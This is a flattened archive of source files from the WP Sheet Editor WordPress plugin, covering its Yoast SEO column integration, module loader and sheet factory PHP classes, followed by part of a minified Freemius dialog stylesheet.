'data_type' => 'meta_data', 'column_width' => 120, 'title' => __( 'SEO TW title', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'allow_to_hide' => true, 'allow_to_rename' => true, ), $tax_settings ) ); $editor->args['columns']->register_item( '_yoast_wpseo_twitter-description', $post_type, array_merge( array( 'data_type' => 'meta_data', 'column_width' => 120, 'title' => __( 'SEO TW description', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'allow_to_hide' => true, 'allow_to_rename' => true, ), $tax_settings ) ); $editor->args['columns']->register_item( '_yoast_wpseo_twitter-image', $post_type, array_merge( array( 'data_type' => 'meta_data', 'column_width' => 120, 'title' => __( 'SEO TW image', 'vg_sheet_editor' ), 'type' => 'boton_gallery', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_to_hide' => true, 'allow_to_rename' => true, 'save_value_callback' => array( $this, 'save_opengraph_image' ), ), $tax_settings ) ); $editor->args['columns']->register_item( '_yoast_wpseo_canonical', $post_type, array_merge( array( 'data_type' => 'meta_data', 'column_width' => 120, 'title' => __( 'SEO Canonical URL', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'allow_to_hide' => true, 'allow_to_rename' => true, ), $tax_settings ) ); $noindex_key = ( $is_taxonomy ) ? '_yoast_wpseo_noindex' : '_yoast_wpseo_meta-robots-noindex'; $noindex_checked = ( $is_taxonomy ) ? 'noindex' : '1'; $noindex_unchecked = ( $is_taxonomy ) ? 'index' : null; $noindex_default = ( $is_taxonomy ) ? 'noindex' : null; $editor->args['columns']->register_item( $noindex_key, $post_type, array_merge( array( 'data_type' => 'meta_data', 'unformatted' => array( 'data' => $noindex_key ), 'column_width' => 120, 'title' => __( 'SEO No Index', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array( 'data' => $noindex_key, 'type' => 'checkbox', 'checkedTemplate' => $noindex_checked, 'uncheckedTemplate' => $noindex_unchecked, 'className' => 'htCenter htMiddle', ), 'default_value' => $noindex_default, 'allow_to_hide' => true, 'allow_to_rename' => true, ), $tax_settings ) ); $editor->args['columns']->register_item( '_yoast_wpseo_linkdex', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array( 'data' => '_yoast_wpseo_linkdex', 'readOnly' => true, 'renderer' => 'html', ), 'column_width' => 150, 'title' => __( 'SEO', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => false, 'formatted' => array( 'data' => '_yoast_wpseo_linkdex', 'readOnly' => true, 'renderer' => 'html', ), 'allow_to_hide' => true, 'allow_to_rename' => true, 'allow_plain_text' => false, 'is_locked' => true, ) ); if ( $editor->provider->is_post_type ) { $primary_taxonomies = $this->generate_primary_term_taxonomies( $post_type ); foreach ( $primary_taxonomies as $taxonomy ) { $editor->args['columns']->register_item( '_yoast_wpseo_primary_' . $taxonomy->name, $post_type, array( 'data_type' => 'meta_data', 'column_width' => 100, 'title' => sprintf( __( 'SEO Primary %s', 'vg_sheet_editor' ), esc_html( $taxonomy->labels->singular_name ) ), 'type' => '', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'formatted' => array( 'type' => 'autocomplete', 'source' => 'loadTaxonomyTerms', 'taxonomy_key' => $taxonomy->name, ), 'allow_to_hide' => true, 'allow_to_rename' => true, 'allow_plain_text' => true, 'prepare_value_for_display' => array( $this, 'prepare_primary_category_value_for_display' ), ) ); } } } } function prepare_primary_category_value_for_display( $value, $post, $key, $column_settings ) { $taxonomy = str_replace( '_yoast_wpseo_primary_', '', $key ); $term = get_term_by( 'term_id', $value, $taxonomy ); if ( is_object( $term ) && ! is_wp_error( $term ) ) { $value = $term->name; } else { $value = ''; } return $value; } function filter_cell_data_for_saving( $new_value, $id, $key ) { $post_type = get_post_type( $id ); if ( $this->is_yoast_metabox_hidden( $post_type ) ) { return $new_value; } if ( strpos( $key, '_yoast_wpseo_primary_' ) !== false ) { $taxonomy = str_replace( '_yoast_wpseo_primary_', '', $key ); $terms_saved = VGSE()->data_helpers->prepare_post_terms_for_saving( $new_value, $taxonomy ); if ( ! empty( $terms_saved ) ) { $new_value = current( $terms_saved ); } else { $new_value = ''; } } return $new_value; } /** * Returns whether or not a taxonomy is hierarchical. * * @param stdClass $taxonomy Taxonomy object. * * @return bool */ private function filter_hierarchical_taxonomies( $taxonomy ) { return (bool) $taxonomy->hierarchical; } function generate_primary_term_taxonomies( $post_type ) { $all_taxonomies = get_object_taxonomies( $post_type, 'objects' ); $all_taxonomies = array_filter( $all_taxonomies, array( $this, 'filter_hierarchical_taxonomies' ) ); /** * Filters which taxonomies for which the user can choose the primary term. * * @api array $taxonomies An array of taxonomy objects that are primary_term enabled. * * @param string $post_type The post type for which to filter the taxonomies. * @param array $all_taxonomies All taxonomies for this post types, even ones that don't have primary term * enabled. */ $taxonomies = (array) apply_filters( 'wpseo_primary_term_taxonomies', $all_taxonomies, $post_type, $all_taxonomies ); return $taxonomies; } } } if ( ! function_exists( 'WP_Sheet_Editor_YOAST_SEO_Obj' ) ) { function WP_Sheet_Editor_YOAST_SEO_Obj() { return WP_Sheet_Editor_YOAST_SEO::get_instance(); } } add_action( 'vg_sheet_editor/initialized', 'WP_Sheet_Editor_YOAST_SEO_Obj' ); modules/init.php000064400000016571147600365160007712 0ustar00product_directory = $product_directory; $this->freemius_instance = $freemius_instance; if ($auto_init) { $priority = strpos($product_directory, 'wp-sheet-editor') !== false ? 1 : 10; add_filter('vg_sheet_editor/modules/list', array($this, 'filter_disallowed_modules_on_editor_page'), $priority); $this->init(array('wp-sheet-editor')); add_action('plugins_loaded', array($this, 'init')); } } public function get_editor_page_key() { $out = false; if (isset($_GET['page']) && strpos($_GET['page'], 'vgse-bulk-edit-') !== false) { $out = str_replace('vgse-bulk-edit-', '', sanitize_text_field($_GET['page'])); } return apply_filters('vg_sheet_editor/modules_init/editor_page_key', $out); } function filter_disallowed_modules_on_editor_page($directories) { $package_settings = $this->get_package(); $current_editor_key = $this->get_editor_page_key(); if ($current_editor_key && is_object($this->freemius_instance) && !empty($package_settings) && !empty($package_settings['vgEditorKeys']) && in_array($current_editor_key, $package_settings['vgEditorKeys'], true)) { $directories = $this->freemius_instance->can_use_premium_code__premium_only() ? array_merge($package_settings['sheetEditorModules']['free'], $package_settings['sheetEditorModules']['pro']) : $package_settings['sheetEditorModules']['free']; if( !empty($package_settings['sheetEditorModules']['dev'])){ $directories = defined('VGSE_DEBUG') && VGSE_DEBUG ? array_merge($directories, $package_settings['sheetEditorModules']['dev']) : array_diff($directories, $package_settings['sheetEditorModules']['dev']); } } return $directories; } function get_package() { $plugin_slug = basename($this->product_directory); $package_file = WP_PLUGIN_DIR . '/' . $plugin_slug . '/package.json'; $package_settings = (file_exists($package_file)) ? json_decode(file_get_contents($package_file), true) : array(); return $package_settings; } /** * Get all modules in the folder * @return array */ function get_modules_list() { $directories = glob($this->product_directory . '/modules/*', GLOB_ONLYDIR); if (!empty($directories)) { $directories = array_map('basename', $directories); } $plugin_slug = basename($this->product_directory); $package_settings = $this->get_package(); if (!empty($package_settings['sheetEditorModules'])) { // If we're developing locally and the package.json file exists, only load the defined modules $directories = array_intersect($directories, array_merge($package_settings['sheetEditorModules']['free'], $package_settings['sheetEditorModules']['pro'])); // If we're developing locally and the package.json file exists, only load the allowed modules according to the freemius license if (is_object($this->freemius_instance) && !$this->freemius_instance->can_use_premium_code__premium_only()) { $directories = array_intersect($directories, $package_settings['sheetEditorModules']['free']); } if( !empty($package_settings['sheetEditorModules']['dev'])){ $directories = defined('VGSE_DEBUG') && VGSE_DEBUG ? array_merge($directories, $package_settings['sheetEditorModules']['dev']) : array_diff($directories, $package_settings['sheetEditorModules']['dev']); } } $parent_plugin_slug = str_replace(array('-premium'), '', $plugin_slug); $directories = apply_filters('vg_sheet_editor/modules/' . $parent_plugin_slug . '/list', $directories); return apply_filters('vg_sheet_editor/modules/list', $directories, $parent_plugin_slug); } function init($modules = array()) { if (empty($modules)) { $modules = $this->get_modules_list(); } if (empty($modules)) { return; } // Load all modules foreach ($modules as $module) { $paths = array($this->product_directory . "/modules/$module/$module.php"); if ($module === 'wp-sheet-editor') { $paths[] = $this->product_directory . "/modules/$module/dev/$module.php"; } foreach ($paths as $path) { if (file_exists($path)) { require_once $path; } } } $plugin_inc_files = glob(untrailingslashit($this->product_directory) . '/inc/*.php'); $inc_files = array_merge(glob(untrailingslashit(__DIR__) . '/*.php'), $plugin_inc_files, glob(untrailingslashit($this->product_directory) . '/inc/integrations/*.php')); foreach ($inc_files as $inc_file) { if (!is_file($inc_file)) { continue; } require_once $inc_file; } // Not like register_uninstall_hook(), you do NOT have to use a static function. $this->freemius_instance->add_action('after_uninstall', array($this, 'on_uninstall')); $this->freemius_instance->add_filter('plugin_icon', array($this, 'load_custom_icon')); $this->freemius_instance->add_filter('show_deactivation_feedback_form', '__return_false'); if ($this->freemius_instance->can_use_premium_code__premium_only()) { // premium code users if they ever had a licence show the contact form $this->freemius_instance->add_filter('is_submenu_visible', array($this, 'show_contact_page_if_premium'), 10, 2); } else { // free code users if they ever had a licence show only the support menu which is the free forum $this->freemius_instance->add_filter('is_submenu_visible', array($this, 'hide_contact_page_if_free'), 10, 2); } } function hide_contact_page_if_free($is_visible, $menu_id) { if ('contact' === $menu_id) { return false; } return $is_visible; } function show_contact_page_if_premium($is_visible, $menu_id) { if ('contact' === $menu_id) { return $this->freemius_instance->has_any_license(); } return $is_visible; } function load_custom_icon($path) { if (defined('VGSE_DIR')) { $path = VGSE_DIR . '/assets/imgs/freemius-icon.png'; } return $path; } function on_uninstall() { do_action('vg_sheet_editor/on_uninstall', $this->product_directory, $this->freemius_instance); } function __set($name, $value) { $this->$name = $value; } function __get($name) { return $this->$name; } } } // WPML : Change language to english when we load the spreadsheet page if (!function_exists('vgse_filter_wpml_admin_language')) { if (isset($_GET['page']) && strpos($_GET['page'], 'vgse-bulk-edit-') !== false && strpos(json_encode($_COOKIE), '_icl_') !== false) { add_filter('get_user_metadata', 'vgse_filter_wpml_admin_language', 10, 4); } function vgse_filter_wpml_admin_language($value, $user_id, $meta_key, $single) { global $wpdb; $rtl_langs = array( 'ar', 'arc', 'dv', 'fa', 'ha', 'he', 'khw', 'ks', 'ku', 'ps', 'ur', 'yi', ); if ($meta_key === 'icl_admin_language' && $user_id) { $user_lang = $wpdb->get_var($wpdb->prepare("SELECT meta_value FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = 'icl_admin_language'", $user_id)); if (in_array($user_lang, $rtl_langs, true)) { $value = $single ? 'en' : array('en'); } } return $value; } } modules/factory.php000064400000031622147600365160010410 0ustar00 null, 'post_type' => array(), // callable or array of keys 'post_type_label' => array(), 'serialized_columns' => array(), // column keys 'columns' => array(), 'toolbars' => array(), 'register_default_columns' => true, 'register_default_taxonomy_columns' => true, 'bootstrap_class' => 'WP_Sheet_Editor_Bootstrap', 'allowed_columns' => array(), 'remove_columns' => array(), // column keys 'sheets_list_priority' => 10, 'allow_to_enable_individual_sheets' => false, ); $this->args = wp_parse_args( $args, $defaults ); if ( empty( $this->args['post_type'] ) ) { return; } add_action( 'vg_sheet_editor/initialized', array( $this, 'init' ) ); add_action( 'vg_sheet_editor/after_init', array( $this, 'after_full_core_init' ) ); } function after_full_core_init() { // Exit in case the init() method didn't run. // $this->get_prop('post_type') contains a callable initially, which // is converted into the real post types with the init() method // but the init() method might not run under some conditions if ( is_callable( $this->get_prop( 'post_type' ) ) ) { return; } // It is possible that plugins will use a callable for 'post_type' that might return empty values if they don't want to initialize the sheet at all under special conditions if ( empty( $this->get_prop( 'post_type' ) ) ) { return; } // Set up spreadsheet. // Allow to bootstrap editor manually, later. if ( ! apply_filters( 'vg_sheet_editor/bootstrap/manual_init', false ) ) { $bootstrap_class = $this->get_prop( 'bootstrap_class' ); $enabled_sheets = $this->args['allow_to_enable_individual_sheets'] ? array_intersect( VGSE()->helpers->get_enabled_post_types(), $this->get_prop( 'post_type' ) ) : $this->get_prop( 'post_type' ); if ( ! empty( $enabled_sheets ) ) { $current_provider = VGSE()->helpers->get_provider_from_query_string(false); $this->sheets_bootstrap = new $bootstrap_class( array( 'enabled_post_types' => $enabled_sheets, 'register_toolbars' => true, 'register_columns' => $this->get_prop( 'register_default_columns' ), 'register_taxonomy_columns' => $this->get_prop( 'register_default_taxonomy_columns' ), 'register_admin_menus' => true, 'register_spreadsheet_editor' => true, 'post_type_labels' => array_combine( $this->get_prop( 'post_type' ), $this->get_prop( 'post_type_label' ) ), // Set the first sheet of the factory as the default current provider, because when we initialize WPSE outside the context of the sheet page, it won\'t initialize factory sheets because it was using "post" as the current provider 'current_provider' => $current_provider && in_array( $current_provider, $enabled_sheets, true ) ? $current_provider : current($enabled_sheets), ) ); } } } function get_prop( $key, $default = null ) { return ( isset( $this->args[ $key ] ) ) ? $this->args[ $key ] : $default; } function init() { if ( method_exists( 'WP_Sheet_Editor', 'allow_to_initialize' ) ) { if ( ! WP_Sheet_Editor::allow_to_initialize() ) { return; } } else { if ( ! is_admin() && ! apply_filters( 'vg_sheet_editor/allowed_on_frontend', false ) ) { return; } } if ( is_callable( $this->args['post_type'] ) ) { $post_types = call_user_func( $this->get_prop( 'post_type' ) ); $this->args['post_type'] = $post_types['post_types']; $this->args['post_type_label'] = $post_types['labels']; } // It is possible that plugins will use a callable for 'post_type' that might return empty values if they don't want to initialize the sheet at all under special conditions if ( empty( $this->args['post_type'] ) ) { return; } add_action( 'vg_sheet_editor/editor/register_columns', array( $this, 'register_columns' ), 60 ); add_action( 'vg_sheet_editor/editor/register_columns', array( $this, 'lock_disallowed_columns' ), 90 ); add_action( 'vg_sheet_editor/editor/register_columns', array( $this, 'remove_columns' ), 90 ); add_action( 'vg_sheet_editor/editor/before_init', array( $this, 'register_toolbars' ), 10 ); add_filter( 'vg_sheet_editor/custom_columns/teaser/allow_to_lock_column', array( $this, 'dont_lock_allowed_columns' ), 99, 2 ); add_filter( 'vg_sheet_editor/custom_post_types/get_all_post_types', array( $this, 'disable_from_custom_post_types_addon_object' ) ); add_filter( 'vg_sheet_editor/custom_post_types/get_all_post_types_names', array( $this, 'disable_from_custom_post_types_addon_names' ) ); if ( $this->args['fs_object']->can_use_premium_code__premium_only() ) { add_filter( 'vg_sheet_editor/formulas/sql_execution/can_execute', array( $this, 'disable_sql_formulas_for_serialized_columns__premium_only' ), 10, 4 ); } add_filter( 'vg_sheet_editor/allowed_post_types', array( $this, 'allow_post_types' ) ); add_filter( 'vg_sheet_editor/frontend/allowed_post_types', array( $this, 'allow_post_types' ) ); add_filter( 'vg_sheet_editor/api/all_post_types', array( $this, 'append_to_sheets_list' ), $this->args['sheets_list_priority'], 3 ); } function append_to_sheets_list( $post_types, $args, $output ) { if ( $output === 'names' ) { $post_types = array_merge( $post_types, array_combine( $this->args['post_type'], $this->args['post_type'] ) ); } else { foreach ( $this->args['post_type'] as $index => $post_type_key ) { $post_types[ $post_type_key ] = (object) array( 'label' => $this->args['post_type_label'][ $index ], 'name' => $post_type_key, ); } } return $post_types; } function disable_from_custom_post_types_addon_names( $post_types_names ) { foreach ( $this->args['post_type'] as $post_type ) { if ( $index = array_search( $post_type, $post_types_names ) ) { unset( $post_types_names[ $index ] ); } } return $post_types_names; } function disable_from_custom_post_types_addon_object( $post_types_objects ) { $indexed_post_types = wp_list_pluck( $post_types_objects, 'name' ); foreach ( $this->args['post_type'] as $post_type ) { if ( $index = array_search( $post_type, $indexed_post_types ) ) { unset( $post_types_objects[ $index ] ); } } return $post_types_objects; } function disable_sql_formulas_for_serialized_columns__premium_only( $allowed, $formula, $column, $post_type ) { if ( in_array( $post_type, $this->args['post_type'] ) && ! empty( $this->args['serialized_columns'] ) && in_array( $column['key'], $this->args['serialized_columns'] ) ) { $allowed = false; } return $allowed; } function allow_post_types( $post_types ) { $labels = $this->get_prop( 'post_type_label' ); foreach ( $this->args['post_type'] as $index => $post_type ) { if ( isset( $post_types[ $post_type ] ) ) { continue; } $post_types[ $post_type ] = $labels[ $index ]; } return $post_types; } function append_post_type_to_post_types_list( $post_types, $args, $output ) { $labels = $this->get_prop( 'post_type_label' ); foreach ( $this->args['post_type'] as $index => $post_type ) { if ( isset( $post_types[ $post_type ] ) ) { continue; } if ( $output === 'names' ) { $post_types[ $post_type ] = $labels[ $index ]; } else { $post_types[ $post_type ] = (object) array( 'label' => $labels[ $index ], 'name' => $post_type, ); } } return $post_types; } function allow_post_type( $post_types ) { $labels = $this->get_prop( 'post_type_label' ); foreach ( $this->args['post_type'] as $index => $post_type ) { $post_types[ $post_type ] = $labels[ $index ]; } return $post_types; } function dont_lock_allowed_columns( $allowed_to_lock, $column_key ) { if ( ! empty( $this->args['allowed_columns'] ) ) { $allowed_to_lock = ! $this->is_column_allowed( $column_key ); } return $allowed_to_lock; } /** * Register spreadsheet columns */ function register_toolbars( $editor ) { $post_types = array_intersect( $editor->args['enabled_post_types'], $this->get_prop( 'post_type' ) ); if ( ! $post_types || ! in_array( $editor->args['provider'], $post_types, true ) ) { return; } if ( $this->toolbars ) { $toolbars = ( is_callable( $this->toolbars ) ) ? call_user_func( $this->get_prop( 'toolbars' ) ) : $this->get_prop( 'toolbars' ); if ( empty( $toolbars ) ) { return; } foreach ( $post_types as $post_type ) { foreach ( $toolbars as $key => $toolbar ) { $editor->args['toolbars']->register_item( $key, $toolbar, $post_type ); } } } if ( WP_Sheet_Editor_Helpers::current_user_can( 'install_plugins' ) ) { foreach ( $post_types as $post_type ) { $editor->args['toolbars']->register_item( 'wpse_license', array( 'type' => 'button', 'content' => __( 'My license', 'vg_sheet_editor' ), 'url' => $this->args['fs_object']->get_account_url(), 'toolbar_key' => 'secondary', 'extra_html_attributes' => ' target="_blank" ', 'allow_in_frontend' => false, 'fs_id' => $this->args['fs_object']->get_id(), ), $post_type ); } } } /** * Register spreadsheet columns */ function register_columns( $editor ) { $post_types = array_intersect( $editor->args['enabled_post_types'], $this->get_prop( 'post_type' ) ); if ( ! $post_types || ! in_array( $editor->args['provider'], $post_types, true ) ) { return; } if ( ! $this->columns ) { return; } $columns = ( is_callable( $this->columns ) ) ? call_user_func( $this->get_prop( 'columns' ) ) : $this->get_prop( 'columns' ); if ( empty( $columns ) ) { return; } foreach ( $post_types as $post_type ) { foreach ( $columns as $column_key => $column ) { $editor->args['columns']->register_item( $column_key, $post_type, $column ); } } } function remove_columns( $editor ) { $post_types = array_intersect( $editor->args['enabled_post_types'], $this->get_prop( 'post_type' ) ); if ( ! $post_types || ! in_array( $editor->args['provider'], $post_types, true ) ) { return; } if ( ! $this->args['remove_columns'] ) { return; } foreach ( $post_types as $post_type ) { foreach ( $this->args['remove_columns'] as $column_key ) { $editor->args['columns']->remove_item( $column_key, $post_type ); } } } function lock_disallowed_columns( $editor ) { $post_types = array_intersect( $editor->args['enabled_post_types'], $this->get_prop( 'post_type' ) ); if ( ! $post_types || ! in_array( $editor->args['provider'], $post_types, true ) ) { return; } if ( empty( $this->args['allowed_columns'] ) ) { return; } foreach ( $post_types as $post_type ) { // Increase column width for disabled columns, so the "premium" message fits $spreadsheet_columns = $editor->get_provider_items( $post_type ); foreach ( $spreadsheet_columns as $key => $column ) { if ( ! in_array( $key, $this->args['allowed_columns'], true) ) { $editor->args['columns']->register_item( $key, $post_type, array( 'column_width' => $column['column_width'] + 80, 'is_locked' => true, 'lock_template_key' => 'lock_cell_template_pro', ), true ); } } $editor->args['columns']->clear_cache( $post_type ); } } function is_column_allowed( $column_key ) { $allowed_columns = $this->allowed_columns; if ( empty( $allowed_columns ) ) { return true; } $allowed = false; foreach ( $allowed_columns as $allowed_column ) { if ( strpos( $column_key, $allowed_column ) !== false ) { $allowed = true; break; } } return apply_filters( 'vg_sheet_editor/factory/is_column_allowed', $allowed, $column_key, $this ); } function __set( $name, $value ) { $this->args[ $name ] = $value; } function __get( $name ) { return $this->get_prop( $name ); } } } vendor/freemius/assets/css/admin/dialog-boxes.css000064400000033621147600365160016146 0ustar00.fs-modal{position:fixed;overflow:auto;height:100%;width:100%;top:0;z-index:100000;display:none;background:rgba(0,0,0,.6)}@media(min-width: 961px){.fs-modal{padding-left:160px}.rtl .fs-modal{padding-left:0;padding-right:160px}}.fs-modal .dashicons{vertical-align:middle}.fs-modal .fs-modal-dialog{background:rgba(0,0,0,0);position:absolute;left:50%;margin-left:-298px;padding-bottom:30px;top:-100%;z-index:100001;width:596px}@media(max-width: 650px){.fs-modal .fs-modal-dialog{margin-left:-50%;box-sizing:border-box;padding-left:10px;padding-right:10px;width:100%}.fs-modal .fs-modal-dialog .fs-modal-panel>h3>strong{font-size:1.3em}}.fs-modal.active{display:block}.fs-modal.active:before{display:block}.fs-modal.active .fs-modal-dialog{top:10%}.fs-modal.fs-success .fs-modal-header{border-bottom-color:#46b450}.fs-modal.fs-success .fs-modal-body{background-color:#f7fff7}.fs-modal.fs-warn .fs-modal-header{border-bottom-color:#ffb900}.fs-modal.fs-warn .fs-modal-body{background-color:#fff8e5}.fs-modal.fs-error .fs-modal-header{border-bottom-color:#dc3232}.fs-modal.fs-error .fs-modal-body{background-color:#ffeaea}.fs-modal .fs-modal-body,.fs-modal .fs-modal-footer{border:0;background:#fefefe;padding:20px}.fs-modal .fs-modal-header{border-bottom:#eee solid 1px;background:#fbfbfb;padding:15px 20px;position:relative;margin-bottom:-10px}.fs-modal .fs-modal-header h4{margin:0;padding:0;text-transform:uppercase;font-size:1.2em;font-weight:bold;color:#cacaca;text-shadow:1px 1px 1px #fff;letter-spacing:.6px;-webkit-font-smoothing:antialiased}.fs-modal .fs-modal-header .fs-close{position:absolute;right:10px;top:12px;cursor:pointer;color:#bbb;-moz-border-radius:20px;-webkit-border-radius:20px;border-radius:20px;padding:3px;-moz-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;-ms-transition:all .2s ease-in-out;-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.fs-modal .fs-modal-header .fs-close:hover{color:#fff;background:#aaa}.fs-modal .fs-modal-header .fs-close .dashicons,.fs-modal .fs-modal-header .fs-close:hover .dashicons{text-decoration:none}.fs-modal .fs-modal-body{border-bottom:0}.fs-modal .fs-modal-body p{font-size:14px}.fs-modal .fs-modal-body h2{font-size:20px;line-height:1.5em}.fs-modal .fs-modal-body>div{margin-top:10px}.fs-modal .fs-modal-body>div h2{font-weight:bold;font-size:20px;margin-top:0}.fs-modal .fs-modal-footer{border-top:#eee solid 1px;text-align:right}.fs-modal .fs-modal-footer>.button{margin:0 7px}.fs-modal .fs-modal-footer>.button:last-of-type{margin:0}.fs-modal .fs-modal-panel>.notice.inline{margin:0;display:none}.fs-modal .fs-modal-panel:not(.active){display:none}.rtl .fs-modal .fs-modal-header .fs-close{right:auto;left:20px}.rtl .fs-modal .fs-modal-footer{text-align:left}body.has-fs-modal{overflow:hidden}.fs-modal.fs-modal-deactivation-feedback .reason-input,.fs-modal.fs-modal-deactivation-feedback .internal-message{margin:3px 0 3px 22px}.fs-modal.fs-modal-deactivation-feedback .reason-input input,.fs-modal.fs-modal-deactivation-feedback .reason-input textarea,.fs-modal.fs-modal-deactivation-feedback .internal-message input,.fs-modal.fs-modal-deactivation-feedback .internal-message textarea{width:100%}.fs-modal.fs-modal-deactivation-feedback li.reason.has-internal-message .internal-message{border:1px solid #ccc;padding:7px;display:none}@media(max-width: 650px){.fs-modal.fs-modal-deactivation-feedback li.reason li.reason{margin-bottom:10px}.fs-modal.fs-modal-deactivation-feedback li.reason li.reason .reason-input,.fs-modal.fs-modal-deactivation-feedback li.reason li.reason .internal-message{margin-left:29px}.fs-modal.fs-modal-deactivation-feedback li.reason li.reason label{display:table}.fs-modal.fs-modal-deactivation-feedback li.reason li.reason label>span{display:table-cell;font-size:1.3em}}.fs-modal.fs-modal-deactivation-feedback .anonymous-feedback-label,.fs-modal.fs-modal-deactivation-feedback .feedback-from-snooze-label{float:left;line-height:30px}.rtl .fs-modal.fs-modal-deactivation-feedback .anonymous-feedback-label,.rtl .fs-modal.fs-modal-deactivation-feedback .feedback-from-snooze-label{float:right}.fs-modal.fs-modal-deactivation-feedback .fs-modal-panel{margin-top:0 !important}.fs-modal.fs-modal-deactivation-feedback .fs-modal-panel h3{margin-top:0;line-height:1.5em}#the-list .deactivate>.fs-slug{display:none}.fs-modal.fs-modal-subscription-cancellation .fs-price-increase-warning{color:red;font-weight:bold;padding:0 25px;margin-bottom:0}.fs-modal.fs-modal-subscription-cancellation ul.subscription-actions label input{float:left;top:5px;position:relative}.rtl .fs-modal.fs-modal-subscription-cancellation ul.subscription-actions label input{float:right}.fs-modal.fs-modal-subscription-cancellation ul.subscription-actions label span{display:block;margin-left:24px}.rtl .fs-modal.fs-modal-subscription-cancellation ul.subscription-actions label span{margin-left:0;margin-right:24px}.fs-modal.fs-modal-license-activation .fs-modal-body input.fs-license-key{width:100%}.fs-license-options-container table,.fs-license-options-container table select,.fs-license-options-container table .fs-available-license-key{width:100%}.fs-license-options-container table td:first-child{width:1%}.fs-license-options-container table .fs-other-license-key-container label{position:relative;top:6px;float:left;margin-right:5px}.fs-license-options-container table .fs-other-license-key-container div{overflow:hidden;width:auto;height:30px;display:block;top:2px;position:relative}.fs-license-options-container table .fs-other-license-key-container div input{margin:0}.fs-sites-list-container td{cursor:pointer}.fs-modal.fs-modal-user-change .fs-modal-body input#fs_other_email_address{width:100%}.fs-user-change-options-container table{width:100%;border-collapse:collapse}.fs-user-change-options-container table tr{display:block;margin-bottom:2px}.fs-user-change-options-container table .fs-email-address-container td{display:inline-block}.fs-user-change-options-container table .fs-email-address-container input[type=radio]{margin-bottom:0;margin-top:0}.fs-user-change-options-container table .fs-other-email-address-container{width:100%}.fs-user-change-options-container table .fs-other-email-address-container>div{display:table;width:100%}.fs-user-change-options-container table .fs-other-email-address-container>div label,.fs-user-change-options-container table .fs-other-email-address-container>div>div{display:table-cell}.fs-user-change-options-container table .fs-other-email-address-container>div label{width:1%;padding-left:3px;padding-right:3px}.fs-user-change-options-container table .fs-other-email-address-container>div>div{width:auto}.fs-user-change-options-container table .fs-other-email-address-container>div>div input{width:100%}.fs-modal.fs-modal-developer-license-debug-mode .fs-modal-body input.fs-license-or-user-key{width:100%}.fs-multisite-options-container{margin-top:20px;border:1px solid #ccc;padding:5px}.fs-multisite-options-container a{text-decoration:none}.fs-multisite-options-container a:focus{box-shadow:none}.fs-multisite-options-container a.selected{font-weight:bold}.fs-multisite-options-container.fs-apply-on-all-sites{border:0 none;padding:0}.fs-multisite-options-container.fs-apply-on-all-sites .fs-all-sites-options{border-spacing:0}.fs-multisite-options-container.fs-apply-on-all-sites .fs-all-sites-options td:not(:first-child){display:none}.fs-multisite-options-container .fs-sites-list-container{display:none;overflow:auto}.fs-multisite-options-container .fs-sites-list-container table td{border-top:1px solid #ccc;padding:4px 2px}.fs-modal.fs-modal-license-key-resend .email-address-container{overflow:hidden;padding-right:2px}.fs-modal.fs-modal-license-key-resend.fs-freemium input.email-address{width:300px}.fs-modal.fs-modal-license-key-resend.fs-freemium label{display:block;margin-bottom:10px}.fs-modal.fs-modal-license-key-resend.fs-premium input.email-address{width:100%}.fs-modal.fs-modal-license-key-resend.fs-premium .button-container{float:right;margin-left:7px}@media(max-width: 650px){.fs-modal.fs-modal-license-key-resend.fs-premium .button-container{margin-top:2px}}.rtl .fs-modal.fs-modal-license-key-resend .fs-modal-body .input-container>.email-address-container{padding-left:2px;padding-right:0}.rtl .fs-modal.fs-modal-license-key-resend .fs-modal-body .button-container{float:left;margin-right:7px;margin-left:0}a.show-license-resend-modal{margin-top:4px;display:inline-block}.fs-modal.fs-modal-email-address-update .fs-modal-body input[type=text]{width:100%}.fs-modal.fs-modal-email-address-update p{margin-bottom:0}.fs-modal.fs-modal-email-address-update ul{margin:1em .5em}.fs-modal.fs-modal-email-address-update ul li label span{float:left;margin-top:0}.fs-modal.fs-modal-email-address-update ul li label span:last-child{display:block;float:none;margin-left:20px}.fs-ajax-loader{position:relative;width:170px;height:20px;margin:auto}.fs-ajax-loader .fs-ajax-loader-bar{position:absolute;top:0;background-color:#0074a3;width:20px;height:20px;-webkit-animation-name:bounce_ajaxLoader;-moz-animation-name:bounce_ajaxLoader;-ms-animation-name:bounce_ajaxLoader;-o-animation-name:bounce_ajaxLoader;animation-name:bounce_ajaxLoader;-webkit-animation-duration:1.5s;-moz-animation-duration:1.5s;-ms-animation-duration:1.5s;-o-animation-duration:1.5s;animation-duration:1.5s;animation-iteration-count:infinite;-o-animation-iteration-count:infinite;-ms-animation-iteration-count:infinite;-webkit-animation-iteration-count:infinite;-moz-animation-iteration-count:infinite;-webkit-animation-direction:normal;-moz-animation-direction:normal;-ms-animation-direction:normal;-o-animation-direction:normal;animation-direction:normal;-moz-transform:.3;-o-transform:.3;-ms-transform:.3;-webkit-transform:.3;transform:.3}.fs-ajax-loader .fs-ajax-loader-bar-1{left:0px;animation-delay:0.6s;-o-animation-delay:0.6s;-ms-animation-delay:0.6s;-webkit-animation-delay:0.6s;-moz-animation-delay:0.6s}.fs-ajax-loader .fs-ajax-loader-bar-2{left:19px;animation-delay:0.75s;-o-animation-delay:0.75s;-ms-animation-delay:0.75s;-webkit-animation-delay:0.75s;-moz-animation-delay:0.75s}.fs-ajax-loader .fs-ajax-loader-bar-3{left:38px;animation-delay:0.9s;-o-animation-delay:0.9s;-ms-animation-delay:0.9s;-webkit-animation-delay:0.9s;-moz-animation-delay:0.9s}.fs-ajax-loader .fs-ajax-loader-bar-4{left:57px;animation-delay:1.05s;-o-animation-delay:1.05s;-ms-animation-delay:1.05s;-webkit-animation-delay:1.05s;-moz-animation-delay:1.05s}.fs-ajax-loader 